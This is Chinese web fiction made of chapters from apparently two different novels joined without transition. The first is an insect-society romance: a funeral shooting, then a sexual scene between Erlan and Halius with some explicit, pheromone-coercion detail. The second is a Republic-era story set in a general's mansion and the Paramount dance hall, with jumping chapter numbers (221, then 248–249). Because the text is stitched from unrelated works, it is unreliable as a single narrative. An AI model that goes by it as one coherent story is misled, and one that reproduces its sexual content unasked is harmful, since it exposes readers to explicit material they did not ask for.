瞧瞧,他发现了谁,海瑟居然也出现在了这场葬礼上?但这不是更有意思的,更有意思的是对方的臂弯里居然还挎着一只面容陌生的军雌,这就怪了,他不是和缇宁爱的要死要活吗,这么快就移情别恋了?“我该不会是眼花了吧——“ 厄兰懒洋洋的声音不期然在耳畔响起,只见这位向来眼高于顶的冕下居然破天荒主动走向海瑟打招呼,唇边带着捉摸不透的笑意, “海瑟阁下今天怎么有空光临这种场合?我还以为您会寸步不离地守在缇宁少将的病床前呢。” 在场其他贵族纷纷投来艳羡的目光——能得到厄兰冕下的主动问候,在社交圈里可是难得的殊荣。 然而海瑟的反应却与大家截然不同,早在听见厄兰声音的瞬间他就像被按下了暂停键,整只虫不受控制僵在了原地,脸上血色褪尽,细看连指尖都在颤抖,上次在病房门口被阿斯法一寸寸捏碎的骨骼好像又开始出现幻痛,让他连站都站不稳了。 反倒是他身旁那名面容清秀的军雌应对十分得体,对方在看见厄兰走来的时候眼底飞快掠过一丝讶异,随即回过神来,低头行了一个抚肩礼,彬彬有礼回答道 “冕下,海瑟之前与缇宁少将是朋友,所以看在他受伤的份上多照料了一段时间,不过现在缇宁少将已经出院,自然也就不需要再继续照顾了。” 厄兰目光落在这名陌生军雌身上,确定自己从来没见过:“你是……?” 那名军雌笑了笑,虽然面容只能算得上清秀,但眼底闪烁的光芒却能看出他并不是一个简单角色:“冕下,我叫派利,目前在第九军团服役,雷尼部长是我的叔父,所以今天这场葬礼我就带着雄主一起来参加了。” 厄兰意味深长“哦”了一声,唇角微勾:“原来海瑟阁下是你的雄主,怪我消息闭塞,居然都不知道他结婚了,祝贺你们。” 不得不说,婚姻署的办事效率实在是太快了,啧,回头一定要给他们写封表扬信。 派利紧紧挽住海瑟的手臂,从头到尾一直没松开,像是在无声对谁宣示主权,当然,这个对象肯定不是厄兰:“是前两天的事,您不知道也正常,因为第九军团的工作调动,等葬礼结束我就要和雄主一起启程前往潘西亚城了,能在离开帝都前得到您的祝福实在是荣幸之至。” 维多秘书长给海瑟安排的这位“雌君”显然不仅仅只是靠匹配度筛选出来的,还经过了多方面的考量。 派利身为雷尼部长的侄子,在城中也算是个贵族,不过因为姿容平平,婚事方面难免有些困扰,嫁给贵族雄虫极可能没有话语权且不受宠,嫁给那些低等级不入流的雄虫又不甘心,海瑟对他来说反而是一个最好的选择—虽然是平民出身,但等级不低,而且好拿捏,还没有什么喜欢虐待雌虫的陋习。 长相嘛,也算不错,和自己的匹配率也是最高的。 至于和缇宁纠缠不清的那些事,落在派利眼里简直无足轻重,如果海瑟有权有势他或许还会感到几分棘手,但妙就妙在海瑟不仅没权没势,性格也十分软弱—一 这不是天生就用来拿捏的吗? 所以他在相亲结束后的第二天就火速拍板和对方完成了伴侣仪式,并且立刻申请工作调动远离帝都,而海瑟也不知是不是那天在医院的时候被阿斯法吓破了胆,居然也没反对这门婚事,半推半就地娶了派利。 如果忽略他苍白的脸色,其实这两天婚后生活他过的还挺滋润,毕竟高达97%的匹配率可不是玩笑话,那意味着他们从灵魂到□□都极度契合,是天生刻在基因里的选择。 厄兰笑意深深,心想海瑟倒是娶了一只手腕不俗的雌君,他正准备说些什么,一道沙哑愤怒的声音忽然猝不及防从远处响起,带着刻骨铭心的痛恨 “海瑟!” 一抹穿着军装的瘦削身影不知何时出现在了会场门口,把所有宾客的注意力都吸引了过去,居然是刚刚出院没多久的缇宁。他伤势未愈,脖颈处还缠着厚重的纱布,长时间的药物治疗让他看起来已经瘦脱了相,就像一具被抽空了血肉的躯壳,只有那双凹陷的眼睛燃烧着令虫心惊的恨意和不甘。 海瑟听见这道声音吓了一跳:“缇……缇宁?你怎么来了?!” 他脸色更白,条件反射后退两步躲到了派利身后,不知是因为愧疚还是惧怕。 他以前确实爱过缇宁,也确实想要和对方在一起,可现实带来的冲击远比他想象中要大得多,光是缇宁家族的阻拦就已经让他喘不过气来,更不提其中还有维多家族的施压。 派利虽然是婚姻署给他强行安排的伴侣,但对方不仅温柔体贴,而且还是贵族出身,承诺等葬礼结束后就带他一起离开帝都,躲避维多家族的报复。 这已经是海瑟目前所能想象到的、最好的结局,只是难免亏欠缇宁。 但很明显,缇宁并不接受这个结局,他不顾雌父的阻拦执意要赶到葬礼现场,就是为了从海瑟嘴里得到一个答案。 为什么?! 为什么明明厄兰已经松口退婚,挡在他们面前的最后一丝阻碍都消失了,海瑟却在这个时候移情别恋,娶了一个刚认识没几天的雌虫?! 这让缇宁觉得自己长久以来的坚持和对抗都像个笑话,他不顾现场安保的阻拦,箭步冲上前就要找海瑟算账,却被派利侧身挡了个正着,微笑警告道: “缇宁少将,虽然您和海瑟从前或许是有些纠缠不清的关系,不过他现在已经是我的雄主了,您还是保持距离比较好,维持一下所剩不多的体面。” 缇宁目前在帝都的名声可谓是糟糕透了,他明明和厄兰冕下那么优秀的雄虫有了婚约,却偏偏和另外一只雄虫纠缠不清,用时下的眼光来看就是不守忠贞,恐怕已经没有哪家贵族肯和他联姻了。 缇宁如果聪明的话,现在就应该缩起壳来低调做虫,而不是在这里大吵大闹,毕竟他连维多家族的施压都解决不了,光在这里威逼一个怯懦没担当的海瑟又有什么用呢? “你说什么?!” 缇宁闻言双目猩红,拳头因为愤怒而咯吱作响,险些把牙咬碎,他受损的声带因为哈琉斯当初那致命的击早已无法复原,嘶哑破碎得就像被砂纸磨过, “他娶你不过是因为婚姻署强行匹配的结果!你真以为他会喜欢你吗?!海瑟,你出来把话说清楚,是不是他们逼你的?!” 派利并没有被这句话所激怒,而是转头看向已经吓哆嗦的海瑟,温声细语问道:“雄主,告诉我,你还想和缇宁少将再续前缘吗?” 海瑟僵硬摇头:“不……不想了,缇宁,我现在已经娶了派利,应该对他负责……你还年轻……还能找一只比我更好的雄虫…….” 这句话一出,缇宁的心彻底坠入了冰窟,他脸色苍白地后退两步,盯着海瑟不可置信问道:“你说什么?” 负责? 海瑟要对派利负责,那他呢? 他为了海瑟连和厄兰的婚约都舍弃了——那是整个南部出身最为高贵、最为貌美、也是等级最高的雄虫,可对方现在居然为了一个三流贵族出身的雌君要和他斩断关系?! 缇宁忽然觉得十分荒谬可笑,他红着眼睛恨声问道:“海瑟,那我呢?” “你有想过我的下场吗?!” 刹那间,一团猩红暗沉的阴云从他身上翻涌而出,在头顶上方徘徊不散,化成了名为痛苦的情绪,看一眼就能尝到其中咸涩腥甜的滋味。 这种情绪并不稀缺,在每个南部雌虫身上都能窥见。 那是属于时代的束缚,命运的枷锁。 从破壳而出的那一刻起,他们就被戴上了无形的镣铐,社会用精密的仪器测量他们的基因,用冰冷的数字决定他们的归宿,律法规训他们要学会忠贞,雄虫逼迫他们要学会下跪,仿佛一生都打不破这悲哀的宿命。 “砰———!” 一道剧烈的枪声忽然响彻整个会场,只见缇宁离开的时候忽然猛地转身拔枪,在众目睽睽之下对准海瑟扣动了扳机,速度快得连派利都来不及阻拦。 子弹飞速划破空气,准确无误射进了海瑟体内,猩红的血液喷溅而出,染红了会场白色的绸布。他瞪大眼睛不可置信看向缇宁,却见对方正用一种歇斯底里的疯癫目光望着他,带着鱼死网破的恨意:“一起死吧!!” 会场顿时乱成了一锅粥,尖叫声此起彼伏,厄兰冷静旁观全程,然后仰头饮尽杯中最后一口残酒,从容转身离开了这场荒谬的葬礼。临走前他看见一条通体漆黑的蟒蛇正盘踞在上空,贪婪吞食着属于缇宁的痛苦。这条黑蛇终究还是如愿以偿了。 厄兰如是想到。 不过他并没有预想中的快意,大概因为缇宁那双猩红带着恨意的眼睛让他控制不住想起了哈琉斯,雌虫眼中遭受背叛的痛苦有一瞬间是重叠相似的。 厄兰无从得知哈琉斯过去是什么模样,更想象不出对方当年又是怎样被碾碎满身傲骨,亦没有在他最需要的时候伸出援手,等再相遇时已经面目全非。 这恰恰是时间的残忍之处,他们永远都无法在最当好的年纪相遇,只能在回忆中一遍遍臆想着当初被时光扭曲的答案。 夜幕低垂,今天那颗子弹的余响却仍在厄兰脑海中回荡,他闭目倚靠在阳台围栏边独自出神,以至于没发现一抹黑色的身影悄无声息出现在了他的身旁。 对方散漫不羁地坐在栏杆上,左腿曲起,右腿自然垂落轻晃,从这个细微的小动作竟看出了几分属于孩童的天真,与身上带着血腥气的残忍形成了诡异的平衡,他语气低沉温柔,一贯令虫毛骨悚然:“怎么,知道你的前任未婚夫被抓进监狱,心情不好?” 厄兰闻言睁开双眼,不用看都知道是哈琉斯,他顺势转过身,双手撑着栏杆边缘,不偏不倚把雌央圈进怀抱,声音刻意压低,温热的气息在耳畔氤氲,像是在偷情 “不,我只是没想到缇宁能活到现在,我还以为你上次会选择先杀他。” 哈琉斯勾唇,用指腹轻轻摩挲着厄兰脖颈上浅青色的血管:“你猜的也没错,我原本是打算先杀他的。” 厄兰握住他的手递到唇边轻吻了一下:“所以是什么让你改变了主意?” 哈琉斯漫不经心挑眉:“那个时候你们还没解除婚约,他死了你是打算给他守活寡吗?” 厄兰:_.… 221、偷情 厄兰没料到哈琉斯会这么回答,愣了一瞬才回过神,他轻笑一声,眼眸低垂,缓慢摩挲对方带着薄茧的指尖,因为长了张占便宜的脸,笑起来有一种天生含情的感觉 “怎么,你吃醋?” 哈琉斯掀起眼皮,语气带着淡淡的讥诮:“我有什么立场吃醋吗?” 厄兰倾身靠近他,温热的气息似有似无拂过雌虫耳畔,语调温吞,莫名多了几分缱绻的意味:“我可不可以理解为……你这是在暗示我尽快把你娶回家?” “不,”哈琉斯眉梢轻挑,无不恶意的低声道,“我还是觉得把你带回北部更有趣。” 厄兰闻言忍不住闷笑了一声,他勾起哈琉斯的下巴,偏头吻了过去,模糊的字句淹没在他们相触的唇齿间,像一声轻不可闻的叹息:“别着急,等你赢了赌局也不迟…… 他们已经不是第一次接吻了。 但每次都有不同的感受。 或许因为今天维多秘书长和索亚上将都在家,他们有一种在长辈眼皮子底下偷情的刺激感。 晚上的风有些凉意,吹到阳台上来的时候却助长了燎原的势头。厄兰仿佛是怕哈琉斯从围栏上掉下去,所以把雌虫搂得很紧很紧,尽管这种担心是多余的。他一边吻,一边顺畅解开对方身上的作战服拉链,然后将里面的衣服下摆掀起,露出肌肉线条分明却又苍白的腰身,上面依稀还能看见几道没来得及痊愈的淤青划伤。 —很明显,刺杀雷尼部长还是给他带来了些许麻烦。 厄兰修长的指尖在哈琉斯腰间游走,所过之处伤口奇迹般复原如初,只有闷痛感还残留在皮肤边缘。雌虫皱眉,控制不住低低闷哼了一声,却感觉厄兰的吻已经开始沿着脖颈下移,埋进了他的胸膛。 哈琉斯无力仰头,右手五指穿插在厄兰触感极好的墨色发丝间,用力扣紧了对方的后脑。他冰冷锐利的紫色眼眸此刻泛起了情.欲的潮红,身上代表死亡与破坏的黑色作战服凌乱敞开,露出里面苍白带着吻痕的大片锁骨,颜色对比分明,一度有些刺目。 哈琉斯有些不大满意这个姿势,用了些力才把厄兰的头抬起来,他瞥见对方唇边因为反复啄吻染上的跌丽红色,目光暗了暗,声音沙哑讥讽: “你是没断奶的三岁虫崽吗?” “可是亲爱的,我觉得你也很喜欢。” 厄兰漫不经心抬手抹去唇边残留的触感,神情似笑非笑,在黑夜中看起来无辜至极,原本束缚着长发的金色丝带不知何时被哈琉斯解开,几缕发丝黏在侧脸,像艳鬼一样美得令虫屏息。 哈琉斯似乎是勾了勾唇,但看起来不太明显,他伸手捧住厄兰的脸,直接低头回吻了过去,不甘示弱扯开了厄兰的衬衫扣子,珍珠质地的金边纽扣瞬间崩落一地,在月色下闪着华贵的光泽。 妈的! —他今天过来可不是为了向厄兰炫耀自己杀了雷尼那个老不死的家伙,偷情才是最终目的,既然如此当然要亲个够本。 恍惚间,哈琉斯好像闻到了一股熟悉的、甜腻的信息素味道,堪比最顶级的催/情剂,让他浑身都没了力气,紧接着一阵失重感传来,被厄兰从阳台上抱下来走进房里,然后扔在了柔软的床铺间。 哈琉斯被摔得头晕目眩,自己都不记得自己刚才骂了一句什么脏话,他只感觉自己胸膛处传来一片凉意,说不清是麻还是肿,火辣辣的疼。 厄兰很快就重新吻了上来,他勾住哈琉斯腰间的皮带,然后一点一点、慢条斯理解开了银扣,将那条黑色带着余温的皮带当着哈琉斯的面从裤子里缓缓抽了出来,然后又一圈圈在指尖缠好。 像是一条妖娆诡异的蛇缠在了雄虫骨节分明的手腕上,处处都是欲望的痕迹。 哈琉斯预感到了厄兰接下来会做什么,喉结滚动一瞬,却并没有阻拦,反而在雄虫倾身而下的时候顺势伸手搂住了对方的脖颈,加深这个吻。 “哈琉斯…… “哈琉斯…… 厄兰温柔啃咬着哈琉斯白皙微凉的耳垂,然后偏头吻过对方带着烙印和伤痕的侧脸,他一遍遍低声念着这个名字,在舌尖萦绕不绝,在心间纠缠不休,仿佛着了魔。 哈琉斯只感觉耳廓酥麻,并且那种痒意一直蔓延到了尾椎骨,他就像一条快要渴死的鱼,急切在厄兰濒临窒息的吻中寻求新鲜空气,却又在得以获救的时候又一次次不知死活地重新陷进去。 “哈琉斯……." 他听见雄虫低沉缠绵的声音在耳畔响起,如同恶魔蛊惑你坠入地狱, “留下来吧…. “和我一起留在南部……. 哈琉斯懒懒睁眼,用指尖勾起他的下巴提醒道:“你是不是忘了,赌局还没结束?” 厄兰却吻了一下他的指尖,声音很轻、很低: “我怕你受伤。”. …… 哈琉斯听见这句话,动作有一瞬间停滞,他在四陷的昏暗中一动不动盯着厄兰,仿佛是想辨别这句话到底出自真心还是假意,然后他得到了一个不知道是该高兴还是该失望的答案——厄兰说这句话的时候,是认真的。 哈琉斯第一次知道,“真心”这两个字的滋味原来比背叛还要烫喉,那句拒绝卡在齿缝间,嚼碎了也吐不出去,但倘若强行咽下,仿佛就会在胸膛炸成无数锋利的碎片,搅起一片血腥的灼热。 他闭了闭眼,没有回答。 只是用双手紧紧搂住厄兰的脖颈,力道大得仿佛要把对方嵌进骨血,眉头紧皱,轻啧了一声,带着几分不耐烦躁: “你到底做不做,啰啰嗦嗦的!” 厄兰闻言神情抽搐 瞬,只感觉一口老血堵在喉咙里卡得不上不下,他狠狠分开哈琉斯的双腿,倾身压住对方,在耳畔低声、缓慢、咬牙切齿地吐出了一句话: “做死你信不信?” 还是这副表情更生动。 哈琉斯抵住厄兰的额头,莫名笑了一声,他吻住雄虫柔软映丽的唇瓣,舌尖熟练撬开牙关勾住对方纠缠,就像一匹暴戾的恶狼此刻尽数收起獠牙,任他宰割,语气低沉慵懒: “试试看,你有没有那个本事?” 他这是在故意挑衅厄兰。 在别的场合下或许都能赢,但不该是在床上。 在这方面,雄虫对于雌虫拥有天生的、绝对的压制权。 刹那间,属于SSS级雄虫的信息素忽然铺天盖地袭来,却又极为谨慎地控制在房间范围内,哈琉斯的理智几乎撑不到三秒就开始濒临溃散,身体里蔓延钻心的空虚与渴望,空气中仿佛有无数根透明的触手正在撩拨他的每一寸皮肤、每一寸隐私。 他呼吸急促,难耐仰头,生理性的泪水溢满了眼眶,恍惚好像觉得自己正在和厄兰抵死缠绵,可他分明看见那只雄虫正站在床边,从容且悠闲地注视着他的失态,一字一句低声道: “那就试试看,我有没有这个本事……. 他们之间的匹配率,可远比海瑟和派利要高得多的多.… 厄兰亲眼看见雌虫的衣服和裤子是怎样湿透,又是怎样牵连床单,对方忍到极致,紧咬的下唇甚至泄露了一丝闷哼,苍白的身躯因为紧绷浮起了漂亮的青筋,有一种嶙峋坚韧的美感。 厄兰俯身捏住哈琉斯的下巴,迫使对方松开咬破的唇瓣,心情颇好,低声蛊惑道:“不如这样,你叫我一声雄主,我就帮帮你?” 哈琉斯心知对方是在为了刚才那句话故意报复自己,他呼吸急促,银色的发丝紧紧贴在脸颊侧面和脖颈上,因为皮肤上胭脂般蔓延的红潮,冰冷的面容在阴影中有一种难以言喻的诡艳。 “不可能。” 他声音沙哑破碎,拒绝得干脆利落。 厄兰饶有兴趣反问:“不愿意嫁给我?” 哈琉斯却道:“你忘了?我们早就签过退婚书了。” 他一面在情潮中沉沦求生,一面又始终残存着清醒克制,无论厄兰怎么说也好,他们当年退过婚是事实,并且是不可动摇的结果。 现在喊他雄主,又算什么呢? 明明是一句讥讽意味十足的话,厄兰却从里面听出了几分自嘲,甚至还有某些更深的、难以释怀的情绪,他盯着哈琉斯看了片刻,周遭的信息素与精神触手忽然潮水般褪去,取而代之的是他带着温度的鲜活躯体。厄兰缓缓低头,亲昵抵着哈琉斯的鼻尖,然后伸手将对方搂进怀里,明明只是寻常的动作,却偏偏看出几分温柔劝哄的意味,像是在哄一只没有被分到糖 果委屈至极的虫崽:“那代表着糟糕的过去已经结束了,哈琉斯,而我们还有崭新的、更为美好的开始…… 他温柔吻着对方破损的唇瓣,带来丝丝缕缕刺痛的感觉,修长的指尖隔着衣服布料,帮对方疏解刚才恶作剧挑起的欲望, “你是我唯一的、命定的伴侣……” 厄兰刚才有一瞬间的念头确实想在这里要了哈疏斯,但现在他改变主意了,他们之间还欠缺了一些很重要的仪式,今天太仓促 也太简陋,对方值得更好的。 哈琉斯没料到厄兰的动作,本能挣扎起来,却被对方温柔却又不失力道地控制住四肢,他只感觉自己耳畔传来鼓噪的心跳声,并且越来越快,越来越快,最后脑海中只剩一片白芒。 “笃笃笃一——!” 一阵轻微的敲门声惊雷般从耳畔响起,阴差阳错助长了速度,厄兰只感觉哈琉斯的身体猛地抽搐紧绷了一瞬,那一瞬间力道大得仿佛要把他勒死,发出了一声带着鼻 音的、低低的闷哼。 厄兰见状笑了笑,他慢条斯理在被角上擦了一下指尖,这才出声:“谁?” 门外传来索亚上将的声音:“厄兰,你在房间里做什么?” 他刚才路过走廊的时候好像听见了一些奇怪的动静,有些担心是最近刺杀的叛军卷土重来,所以不放心敲了敲门。 厄兰缓缓站直身形,平复了一下呼吸才道:“没什么,刚才不小心撞到桌子了。” 哈疏斯确信以索亚上将的警惕性,对方绝对会推门进来查看,他用生平最快的速度穿好衣服,捡起地上的皮带就想离开,却在经过厄兰身边时猝不及防被对方一把拽了回去。 “急什么?”他赢了。 厄兰搂住哈琉斯的腰身,无声吐出了这句话,他不知是不是故意想看雌虫着急,甚至把对方重新抵在桌角,又来了一通缠绵的吻。 哈琉斯死死攥紧指尖,果然不敢反抗也不敢出声。 然而索亚上将还未离去,又轻敲了两下房门:“我可以进来吗?” 厄兰不紧不慢问道:“有很重要的事吗?我刚洗完澡。” 趁着这个间隙,哈琉斯一把推开了他,厄兰踉跄着后退两步,背靠着桌沿笑得又坏又蛊惑,他扬起手中的东西故意晃了晃,神情玩味,赫然是对方的皮带。 哈琉斯冷冷刮了他一眼,然后鬼魅般缓缓后退两步,顺着来时的路线无声翻出了阳台,身影很快消失在了黑夜中。 索亚上将的声音恰好从门外传来:“穿好衣服,我有重要的事要和你说。” 厄兰只好随便扯了件衣服套上,然后走过去将房门打开一条缝隙:“雌父,有什么事明天再说吧,我困了。” 他却忘了,屋子里浓烈的暖昧味道还没散去,尤其是他的信息素,几乎遍布了每个角落。 索亚上将微不可察皱眉,目光上下打量着厄兰,见他不像有异常的样子,这才出声询问道:“房里只有你一个吗?” 厄兰:“嗯哼,不然还能有谁?” 索亚上将看向房内,可惜被厄兰挡得太严实,只能瞥见水晶灯模糊的光晕:“你刚才在房里做什么?” 厄兰也后知后觉意识到屋里的气息估计引起了雌父的怀疑,他微妙停顿一瞬,不太确定的开口: “看小黄片?” 索亚上将: 248、你喜欢男人?!!... 自从陈骨生搬到督军府后,厉戎生的身体肉眼可见有了几分起色,虽然还是那副形销骨立的模样,但总算不用时刻依靠那些苦涩的药汤来吊着精气神了。 然而厉戎生对他的警惕和怀疑并没有因此消散半分,陈骨生能敏锐察觉到,哪怕只是去花园随处散散步,暗处都有无数双眼睛盯着。 他对这一切佯装不知,每天闲来无事,最常做的就是坐在花园一隅,信笔由刀,拿着一块巴掌大的木头慢悠悠雕刻。 普通人是看不懂他在刻什么的,乍看只觉得像个傀儡娃娃。 圆圆的脑袋,四肢俱全,可面容却是一片诡异的模糊,刀痕错乱,似人非人,似鬼非鬼,透着一股不伦不类的邪气。 “哟,陈医生,又搁这儿练手艺活呢?” 厉京楷不知从哪儿闲逛回来,身上的衬衫袖子被胡乱挽起,外罩浅灰色西装马甲,领口随意松开,整个人透着一股洋派散漫的劲头。 “七少,这是打哪儿逍遥回来?” 陈骨生看见他笑了笑,修长的指尖翻转,顺势把刻刀收了起来。 要说这厉京楷也是个奇葩人物,自打从国外回来,既不去燕陵找他老子,也不去谋份事业,偏偏喜欢死皮赖脸待在督军府受厉戎生的冷眼,每天闲来没事就去俱乐部或者歌厅寻欢作乐。 厉戎生不知道多少次催他滚蛋,最严重的一次连冰凉的枪管都抵到脑门子上了,可厉京楷活脱脱就是个滚刀肉,一天三次地给厉督军拍电报告状,哭嚎打滚说兄长容不下他。 厉督军收到第一封电报的时候勉强还有几分耐心,回曰: 【七儿,电已阅,汝事已告戎生,兄友弟恭,自行斟酌,勿再电,父忙。】 到后面电报堆得如山高,厉督军耐心尽失,就变成了: 【王八羔子,整日拍电,屁事没有,再敢啰嗦,军法从事,父。】 然而厉京楷却丝毫不知道收敛,天天在电报里哭,哭他没有娘管,没有爹教,从小就背井离乡,到最后厉督军都烦了,千里加急回了一封电报,劈头盖脸就是一顿臭骂: 【拍拍拍拍拍!一天到晚拍你娘个头拍!再拍老子就带兵过去毙了你!】 话虽然如此,厉督军终究对这个儿子有所亏欠,也不知往万城去了一通怎样的电话,好歹算是让他在督军府暂时住下来了。 不过整个督军府的人都知道少帅对这个同父异母的兄弟不大待见,所以处处透着疏离客套,满府上下也就陈骨生愿意和他多聊几句,时间长也就熟稔了起来。 “嗨,能去哪儿潇洒。” 厉京楷一屁股坐在对面的藤椅上,摸出镀金的烟盒弹出一支烟,叼在嘴里点燃,然后长长吐出一口烟雾, “总不就是去百乐门跳跳舞,然后去大华饭店听两段新戏,我昨天晚上手气不错,在跑狗场赢了那群法国佬几千块,昨天叫你你不去,白错过一笔横财。” 他说着掸了掸烟灰,嘴角带着玩世不恭的笑意:“可别说我不照应你,晚上一起去卡尔登,葛丽泰.嘉宝的新片子,闷是闷了点,好歹是个消遣,怎么,一起去找点乐子?” 陈骨生有一下没一下摩挲着手里凹凸不平的木头,抬眼笑了笑:“七少盛情,心领了,不过我这人一向乏味,怕是糟蹋了七少的雅兴,您该另请一位摩登淑女前往,才不至于辜负了晚上的良辰美景。” 厉京楷闻言伸长胳膊,把烟蒂按熄在桌上的珐琅烟灰缸里,多少带了点恨铁不成钢的意味: “你啊,就跟这些木头疙瘩过吧,我可自己去寻快活了,回头要是得了什么新鲜玩意儿,别怪我没给你瞧。” 他说着拉开椅子站起身,把外套往肩膀上随便一搭,哼着不成调的爵士乐溜溜达达地走了。 陈骨生盯着他的背影看了片刻,这才慢慢收回视线。 当傻子就是好,到哪儿都能活的这么快乐。 殊不知厉京楷现在一点儿也不快乐,因为他一上楼就被厉戎生堵了个正着。 “……二哥,你在家啊?” 厉京楷虽然从小到大都想亲近这个冷脸薄情的哥哥,但怕也是真怕,一看见厉戎生面无表情站在楼梯口,吓得腿肚子都有些转筋了。 “怎么,我在家还要向你汇报?“ 厉戎生冷冷挑眉,声音淡漠倦懒,脸上一贯没什么表情,以至于旁人很难从他的眼睛里分辨出喜怒。 厉京楷心里叫苦不迭,只恨自己为什么不能变成一个皮球从楼梯上滚下去:“没…我不是那个意思,早知道你在家里我就晚点回来了,免得打扰你休息。” 他一边说一边小心翼翼往后退,准备脚底抹油开溜。 厉戎生却不知为什么,忽然冷不丁问道:“你从国外回来,学业念完了吗?” 厉京楷闻言身形一僵,略有些闷闷不乐地低下了头:“还没,但是我不想回去,那边又不是自己的国家,同学还老喜欢搞歧视,我宁可不念书了,就在自家地盘上待着。” “二哥,你别撵我走,我娘死了,老头子又不搭理我,实在不行我给你当大头兵扛枪都行,就是别撵我走。” 他以为厉戎生打算把他赶回去念书,紧抿着唇,心里一阵忐忑。 厉戎生却没搭理这茬,目光扫过他的脸,又问出一个无关紧要的问题:“你和那个小白脸很熟?” 厉京楷闻言一懵:“小白脸?谁啊?许副官还是陈医生?” 这俩人都挺白的,还都念过书。 不得不说,厉京楷能在厉戎生的眼皮子底下活这么久,一是因为躲到国外去了,二是因为他脑子确实不好使,蠢到厉戎生都懒得动手。 厉戎生嗓音冰凉,语气已然透出几分危险:“你觉得能是谁?” 厉京楷也反应过来了:“你说陈医生啊,还行,他人挺好的,上次我肚子疼还是他给我治好的呢,平常遇上了能说两句话。” 他说着又肯定补充了一句:“蛮熟的。” 厉戎生一言不发盯着他,那目光像是要剥开他的脑子看看里面到底装了什么,半晌,才几不可闻的嗤笑了一声: “你刚才不是说要给我扛枪吗?” 他语气淡淡,却带着不容置疑的命令, “现在有件事交给你办。” 他差点忘了,这个便宜弟弟和陈骨生一样,都是从M国留学回来的。正好,陈骨生的身份资料有些过于干净了,前二十年的人生几乎是一片摸不着边的空白,全凭他一张嘴说,终究让人难以安心。 是人是鬼,总得探一探才分明。 晚上的时候,陈骨生正打算回房,结果被厉京楷堵了个正着,对方仿佛是专门守株待兔一样等在房门口,一看见他眼睛瞬间亮了起来: “陈医生!” 陈骨生敏锐察觉到了他的不对劲,面上却并不显露,而是顺势 笑:“七少,你晚上不去陪女郎看影戏,怎么守在我的房门口?” 厉京楷亲热凑上来揽住他的肩膀:“嗨,我原本约了何萍萍小姐一起看戏,结果她不小心着了风寒,所以就去不了了,刚好晚上闲着无事,我们一起去百乐 门喝酒跳舞,也算开开眼界。” 陈骨生镜片后的目光轻闪:“七少,你是知道的,我对这种事一向没什么兴趣。” 厉京楷热情劝说,仿佛铁了心一定要把他带过去:“你不感兴趣是因为你没去,你去了肯定就有兴趣了,那儿新来了一个爵士乐队,萨克斯吹得一绝,报纸上都登了,你就当过去听听曲儿,感受感受气氛,总比你回房对着那些烂木头强!” 陈骨生也不说话,只是注视着厉京楷,直把后者都盯得有些心虚了,这才发出一声轻笑: “既然七少盛情,那我就却之不恭了,一起同去?” “对对对,走走走!我保证你去了一定流连忘返。” 厉京楷一拍大腿,高兴得都快蹦起来了,连忙拉着陈骨生出了督军府大门,乘车前往百乐门。 正值傍晚,整条街道都显得有些拥堵,汽车、黄包车围的水泄不通,虽然有十几名穿着警服的巡捕出来帮忙疏导交通,但从街口到百乐门的那段距离还是把人挤了个够呛。 “七少,欢迎光临。” 厉京楷明显已经混了个脸熟,连服务生都认得他,上前帮忙打开车门,礼貌躬身行礼。 厉京楷摆摆手敷衍“嗯”了一声,带着陈骨生径直往正门里面走去,那服务生只感觉自己领口被人轻塞了一张钞票,触感硬挺: “七少给你的小费。” 他下意识抬眼,只来得及捕捉和七少一起的那名男子收回手的动作,以及镜片后一抹转瞬即逝的平静目光。那人并没有多看他一眼,已经随着厉京楷的步伐,身影没入了流光溢彩的旋转门中。服务生捏着那张意外丰厚的赏钱,再看向已经合上的旋转门,心里不禁暗道:没想到那位七少一向跋扈,身边居然还有这么周到细致的人。 一踏入百乐门的瞬间,声浪和光影就有如实质扑面而来,外界的拥堵喧嚣潮水般褪去,仿佛踏入了另一个纸醉金迷的世界。 舞厅上方悬着缀满了水晶的銮金葡萄灯,把整个大厅照得金碧辉煌,舞池间已经有不少男女相拥着翩翩起舞,西装革履的绅士与身着艳丽旗袍、烫着时髦卷发的摩登女郎穿梭其间,留下阵阵香风笑语。大厅正前方是华丽的舞台,一支乐队正在演奏,萨克斯风婉转悠扬,漂亮的舞女哼唱着软绵绵的情歌。 围绕舞池的是一张张铺着雪白桌布的小圆桌,桌上摆放着玻璃烟灰缸和细颈花瓶,里面插着一两支新鲜的红色康乃馨。 厉京楷显然是这里的常客,他熟门熟路领着陈骨生穿过人群,朝着视野更好的卡座区域走去,不时有熟人和他打招呼,他都只是略一点头,显得有些敷衍。 他一边走,一边颇为自得地对陈骨生介绍道:“怎么样,陈医生?没骗你吧?这地方,可是整个万城独一份的热闹!” 陈骨生镜片后的目光扫过那一片衣香鬓影、觥筹交错的情景,唇角噙着一丝温和的浅笑,他微微领首,声音不高,恰好能让厉京楷在乐声中听清: “是了,多七少,我今天才能大开眼界。” 厉京楷闻言不免更加自得,搭着陈骨生的肩膀和他在第一排的位置落座,几张红色沙发环形包围着茶桌,颇为宽敞,很快就有一名经理模样的男子上前招呼 “七少,今儿个真是贵客光临,要点什么酒水?乐队今天刚好新排了几支曲子,就等着您点评呢…… 厉京楷不耐烦摆手打断:“酒水你看着上,叫芳妮带几个漂亮的姐妹过来,我今天可是带了兄弟来捧场,别拿一些歪瓜裂枣来糊弄我。” 那个芳妮一听就是厉京楷的相好。 陈骨生笑着摇头:“七少,我喝酒听曲儿就够了,不必人陪。” 厉京楷凑向他压低声音道:“你不知道,这儿的舞小姐可和外面那些不一样,各个念书识字,又漂亮又通情达理。” 陈骨生依旧婉拒:“不必了,您请芳妮小姐陪着就好。” 厉京楷啧了一声:“就点两个呗,又不用你出钱,我可不是吃独食的人。” 陈骨生:“真的不用。” 厉京楷急了:“给我个理由!你总不能喜欢男人吧?!” … 陈骨生却不说话了,空气无端陷入了静默。他也不知是不是故意,慢悠悠抬眼看向厉京楷,神情似笑非笑,目光带着几分意味深长,让人不禁琢磨他这番沉默背后藏着怎样的深意。 "!!!" 厉京楷惊讶捂住了嘴。 249、震惊... 厉京楷虽然是从国外留学回来的,但他的思想一点儿也不开放。 要知道当年念书的时候,他因为人长得白净,没少被那些性取向特别的鬼佬骚扰,对gay这种存在堪称深恶痛绝。 骤然得知陈骨生的性取向为男,他惊得差点从沙发上蹦起来,一句国粹脱口而出: “卧槽!你怎么不早说?!” 陈骨生轻推了一下鼻梁上的眼镜,饶有兴趣反问:“说什么?” 他刚才,可什么都没说。 厉京楷闻言一噎,后知后觉反应过来陈骨生刚才好像确实什么都没说,他想起二哥交待的事,强忍着哆嗦重新坐到陈骨生身旁,勉强露出一抹笑意,语带责怪 